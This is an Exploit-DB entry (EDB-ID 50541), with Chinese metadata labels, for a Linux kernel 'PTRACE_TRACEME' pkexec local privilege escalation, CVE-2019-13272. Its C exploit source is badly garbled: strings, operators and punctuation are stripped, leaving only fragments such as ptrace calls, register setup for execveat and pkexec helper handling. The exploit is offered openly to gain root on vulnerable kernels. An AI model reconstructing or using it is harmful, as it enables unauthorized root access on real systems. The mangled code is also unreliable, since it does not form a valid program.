标题: Linux Kernel 5.1.x - 'PTRACE_TRACEME' pkexec Local Privilege Escalation (2) EDB-ID: 50541 CVE: 2019-13272 类型: LOCAL 平台: LINUX 发布日期: 2021-11-23 漏洞利用脚本: # Exploit Title: Linux Kernel 5.1.x - 'PTRACE_TRACEME' pkexec Local Privilege Escalation (2)
# Date: 11/22/21
# Exploit Author: Ujas Dhami
# Version: 4.19 - 5.2.1
# Platform: Linux
# Tested on:
# ~ Ubuntu 19.04 kernel 5.0.0-15-generic
# ~ Parrot OS 4.5.1 kernel 4.19.0-parrot1-13t-amd64
# ~ Kali Linux kernel 4.19.0-kali5-amd64
# CVE: CVE-2019-13272

// ....
// Original discovery and exploit author: Jann Horn
// https://bugs.chromium.org/p/project-zero/issues/detail?id=1903



















































 stat st

  trunk

  trunks_rec  
  
  
  
  
  
  
  
  
  
  
  
  
  
  

  trace_align
   path_exec  
   path_action  
  fd  
  pipe_stat
   term_sh  
  mid_succ  
   path_doublealign

   fmt  
    overlayfs
  va_list ap
  ap fmt
  overlayfs fmt ap
  ap
   overlayfs


   overlayfs 
  PR_SET_PDEATHSIG SIGKILL
  pid_t middle  
  fd   O_RDONLY
  pid_t child  
  
   child   
    PR_SET_PDEATHSIG SIGKILL

    fd 
     proc_fd   middle O_RDONLY
     threadv   
    PTRACE_TRACEME   
    path_exec path_exec 
      
       overlayfs
      ssize_t buflen  proc_fd overlayfs overlayfs 
      overlayfsbuflen  
       overlayfs threadv 
    

    
    EXIT_FAILURE
  

  fd 
  trace_align 

   passwd pw  
   pw   
    
    EXIT_FAILURE
  

  mid_succ  
  path_exec path_exec  pwpw_name
        path_doublealign
         
  mid_succ  
  
  EXIT_FAILURE


  pid_t pid  exec_fd  arg0 
   user_regs_struct regs
   exeio exev   iov_base  regs iov_len  regs 
  PTRACE_SYSCALL pid  
  pid pipe_stat 
  PTRACE_GETREGSET pid NT_PRSTATUS exev

    inject_surface  regsrsp    
   injected_page 
      inj_arse
      environment
     arg0
     path
   ipage  
    inj_arse   inject_surface   injected_page arg0 
  
  ipagearg0 arg0
    i   i  ipage i 
      pro_d    ipagei
    PTRACE_POKETEXT pid inject_surface  i  
                pro_d
  

  PTRACE_SETREGSET pid NT_PRSTATUS exev
  PTRACE_DETACH pid  
  pid pipe_stat 
  
  regsorig_rax  __NR_execveat
  regsrdi  exec_fd
  regsrsi  inject_surface   injected_page path
  regsrdx  inject_surface   injected_page inj_arse
  regsr10  inject_surface   injected_page environment
  regsr8  AT_EMPTY_PATH


   
  pid_t child   pipe_stat 
  child  
   


   
    
    
  term_sh term_sh 
   term_sh
  EXIT_FAILURE


   
    xdg_session  

  

   path_action st   
     path_action
    EXIT_FAILURE
  
      
    
     
  
    st   
        
      
       
    
  
   xdg_session   
    
     
  
   path_exec st   
     path_exec
    EXIT_FAILURE
  
  
  

   


  
   cmd
  cmd cmd  path_action
  FILE fp
  fp  cmd 
   fp   
     cmd
    EXIT_FAILURE
  

   line
   buffer
   helper_index  
   useful_action  
     threadv  
   needle_length  threadv

   line line fp   
     line  
       line  
        useful_action  
      
      
    

     useful_action  
      
    useful_action  

     length  line
     found  line length threadv needle_length
     found  
      

    buffer  buffer
      i   foundneedle_length  i   i 
       i  buffer
        
      bufferi  foundneedle_length  i
    

     buffer st  
      
    
     buffer    
      buffer    
      buffer    
      buffer    
       buffer
      
    

    trunkhelper_index  buffer buffer
    helper_index

     helper_index  trunktrunk
      
  

  fp
   


  
   path_doublealign

  trace_align O_CLOEXECO_DIRECT
  trace_align F_SETPIPE_SZ 
   overlayfs  
  trace_align overlayfs 

   path_exec
    stackv
  pid_t midpid  middle_main stackvstackv
                            CLONE_VMCLONE_VFORKSIGCHLD 
   mid_succ  
    
     fd   midpid O_RDONLY
     overlayfs
     buflen  fd overlayfs overlayfs
    overlayfsbuflen  
    overlayfs   
     overlayfs path_doublealign   
      
    
  

  
  PTRACE_ATTACH midpid  
  midpid pipe_stat 
  

  midpid  
  EXIT_SUCCESS


  argc  inj_arse 
   inj_arse   
     
   inj_arse   
     

  

  

   argc    inj_arse    
    
  
  
  
  
    i itrunktrunk i 
     trunki  
      

     trunki st   
      path_doublealign  trunki
      
    
  

  
    i itrunks_rectrunks_rec i 
     trunks_reci st   
      path_doublealign  trunks_reci
       path_doublealign URL: https://www.exploit-db.com/exploits/50541